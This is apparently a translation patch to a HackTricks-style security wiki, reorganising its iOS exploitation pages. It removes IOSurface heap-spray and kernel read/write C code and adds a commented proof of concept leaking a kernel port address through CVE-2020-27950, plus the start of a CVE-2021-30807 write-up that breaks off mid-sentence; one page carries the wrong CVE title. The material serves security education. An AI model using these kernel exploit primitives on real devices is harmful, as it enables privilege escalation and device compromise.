From 0ddcf91082e1ed121e2930af723a1092039754dd Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Sep 2025 01:11:16 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/ios-exploiting/README.md', 'src/net --- src/SUMMARY.md | 4 +- src/binary-exploitation/ios-exploiting.md | 207 ------- .../CVE-2020-27950-mach_msg_trailer_t.md | 332 ++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 297 +++++++++ .../ios-exploiting/README.md | 258 ++++++++ .../ios-exploiting/ios-corellium.md | 79 +++ .../ios-example-heap-exploit.md | 205 ++++++ .../ios-physical-uaf-iosurface.md | 215 +++++++ .../linux-post-exploitation/README.md | 50 +- .../privilege-escalation/README.md | 583 +++++++++--------- .../android-app-pentesting/README.md | 503 ++++++++------- ...-instrumentation-and-ssl-pinning-bypass.md | 90 +-- .../avd-android-virtual-device.md | 120 ++-- .../frida-tutorial/README.md | 72 +-- .../install-burp-certificate.md | 51 +- .../pentesting-smb/README.md | 158 ++--- ...bd-attack-surface-and-fuzzing-syzkaller.md | 92 +-- .../pentesting-web/README.md | 227 ++++--- .../electron-desktop-apps/README.md | 210 ++++--- .../pentesting-web/laravel.md | 96 +-- .../pentesting-web/sitecore/README.md | 70 +-- .../pentesting-web/wordpress.md | 328 +++++----- .../pentesting-web/wsgi.md | 170 +++++ src/pentesting-web/cache-deception/README.md | 172 +++--- ...er-gadgets-expandedwrapper-and-json.net.md | 84 +-- src/pentesting-web/file-upload/README.md | 183 +++--- 26 files changed, 3102 insertions(+), 1754 deletions(-) delete mode 100644 src/binary-exploitation/ios-exploiting.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 9bb6f1195..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Fiziksel kullanımdan sonra serbest bırakma - -Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet, ayrıca bu tekniği kullanarak exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir. - -### XNU'da Bellek Yönetimi - -iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır. - -#### iOS'taki Sayfa Tablolarının Seviyeleri - -Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir: - -1. **L1 Sayfa Tablosu (Seviye 1)**: -* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder. -* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar. -2. **L2 Sayfa Tablosu (Seviye 2)**: -* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini temsil eder, özellikle **0x2000000 bayt** (32 MB). -* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir. -3. **L3 Sayfa Tablosu (Seviye 3)**: -* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar. -* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir. - -#### Sanal Belleği Fiziksel Belleğe Haritalama - -* **Doğrudan Haritalama (Blok Haritalama)**: -* Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi). -* **Çocuk Sayfa Tablosuna İşaretçi**: -* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki **çocuk sayfa tablosuna** işaret edebilir (örneğin, L2). - -#### Örnek: Sanal Bir Adresi Haritalama - -Diyelim ki sanal adres **0x1000000000**'e erişmeye çalışıyorsunuz: - -1. **L1 Tablosu**: -* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna geçer. -2. **L2 Tablosu**: -* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder. -3. **L3 Tablosu**: -* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar. - -#### Adres Haritalama Örneği - -Eğer fiziksel adres **0x800004000**'i L2 tablosunun ilk indeksine yazarsanız, o zaman: - -* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır. -* Bu, L2 seviyesinde bir **blok haritalama**dır. - -Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa: - -* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır. - -### Fiziksel Kullanımdan Sonra Serbest Bırakma - -Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) şu durumlarda meydana gelir: - -1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**. -2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir. -3. Süreç belleği **serbest bırakır** (boşaltır). -4. Ancak, bir **hata** nedeniyle, kernel **sayfa tablosundan haritalamayı kaldırmayı unutur**, buna rağmen ilgili fiziksel belleği serbest olarak işaretler. -5. Kernel, bu "serbest bırakılmış" fiziksel belleği başka amaçlar için **yeniden tahsis edebilir**, örneğin **kernel verileri** için. -6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir. - -Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır. - -### Sömürü Stratejisi: Heap Spray - -Saldırgan, hangi belirli kernel sayfalarının serbest belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır: - -1. Saldırgan, kernel belleğinde çok sayıda **IOSurface nesnesi** oluşturur. -2. Her IOSurface nesnesi, kolayca tanımlanabilen bir **sihirli değer** içerir. -3. Serbest bırakılmış sayfaları **tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bir sayfaya düşüp düşmediğini kontrol eder. -4. Serbest bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler. - -Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır. - -### Adım Adım Heap Spray Süreci - -1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("sihirli değer") ile birçok IOSurface nesnesi oluşturur. -2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bir sayfada tahsis edilip edilmediğini kontrol ederler. -3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara: -* Kernel belleğindeki herhangi bir 32 bit değeri **okuma** yeteneği sağlar. -* 64 bit değerleri **yazma** yeteneği sağlar ve böylece kararlı bir **kernel okuma/yazma ilkesine** ulaşırlar. - -Sihirli değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun, böylece daha sonra arama yapabilirsiniz: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Kernel Okuma/Yazma Elde Etme IOSurface ile - -Kernel belleğinde bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra (kullanıcı alanından erişilebilen serbest bırakılmış bir fiziksel sayfaya eşlenmiş), bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz. - -**IOSurface'daki Anahtar Alanlar** - -IOSurface nesnesinin iki kritik alanı vardır: - -1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar. -2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar. - -Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz. - -#### 32-Bit Kernel Okuma - -Bir okuma gerçekleştirmek için: - -1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak işaret edecek şekilde geçersiz kılın. -2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Bit Kernel Write - -Yazma işlemi gerçekleştirmek için: - -1. Hedef adrese **indeksli zaman damgası işaretçisini** geçersiz kılın. -2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Exploit Akışı Özeti - -1. **Fiziksel Use-After-Free Tetikleme**: Serbest sayfalar yeniden kullanım için mevcuttur. -2. **IOSurface Nesnelerini Spray Etme**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayırın. -3. **Erişilebilir IOSurface'ı Belirleme**: Kontrol ettiğiniz serbest bir sayfada bir IOSurface bulun. -4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin. - -Bu ilkelere dayanarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..17fd77c25 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Zafiyet + +Burada [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel_memory_leak), ama özet olarak: + +Çekirdeğin aldığı her Mach message, metadata (seqno, sender token, audit token, context, access control data, labels...) içeren değişken uzunluklu bir struct olan **"trailer"** ile biter. Çekirdek, mesaj tamponunda **her zaman mümkün olan en büyük trailer**'ı (MAX_TRAILER_SIZE) ayırır, fakat **sadece bazı alanları başlatır**, sonra daha sonra **hangi trailer boyutunu döndüreceğine** **user-controlled receive options**'a bağlı olarak karar verir. + +Bunlar trailer ile ilgili structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Sonra, trailer nesnesi oluşturulduğunda, yalnızca bazı alanlar başlatılır ve maksimum trailer boyutu her zaman ayrılır: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Örneğin, `mach_msg()` kullanarak bir mach message'ı okumaya çalışırken, mesaja trailer eklemek için `ipc_kmsg_add_trailer()` fonksiyonu çağrılır. Bu fonksiyon içinde trailer boyutu hesaplanır ve bazı diğer trailer alanları doldurulur: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +`option` parametresi kullanıcı tarafından kontrol ediliyor, bu yüzden **`if` kontrolünü geçen bir değer göndermek gerekiyor.** + +Bu kontrolü geçmek için geçerli ve desteklenen bir `option` göndermemiz gerekiyor: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Ancak, çünkü `MACH_RCV_TRAILER_MASK` sadece bitleri kontrol ettiği için, `if` bloğuna girmemek için `0` ile `8` arasındaki herhangi bir değeri geçirebiliriz. + +Ardından, kodun devamında şunu bulabilirsiniz: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`. + +If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory. + +So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated. + +### Basic PoC + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### Leak Kernel Address PoC + +The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. + +Commetns were added for better understanding: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## Referanslar + +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..d0a289afe --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## Zafiyet + +You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary: + +- Zayıf kod yolu, **IOMobileFramebuffer / AppleCLCD** user client'inin **external method #83**'üdür: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Bu metod, kullanıcı tarafından kontrol edilen ve hiçbir şekilde kontrol edilmeyen bir parametre alır ve bunu bir sonraki işleme **`scalar0`** olarak geçirir. + +- Bu yöntem, **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** içine iletilir; burada **`scalar0`** (kullanıcı kontrollü **32-bit** değer) herhangi bir **sınır kontrolü** yapılmadan dahili bir **işaretçi dizisine** bir **indeks** olarak kullanılır: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\ +> **Result:** **OOB 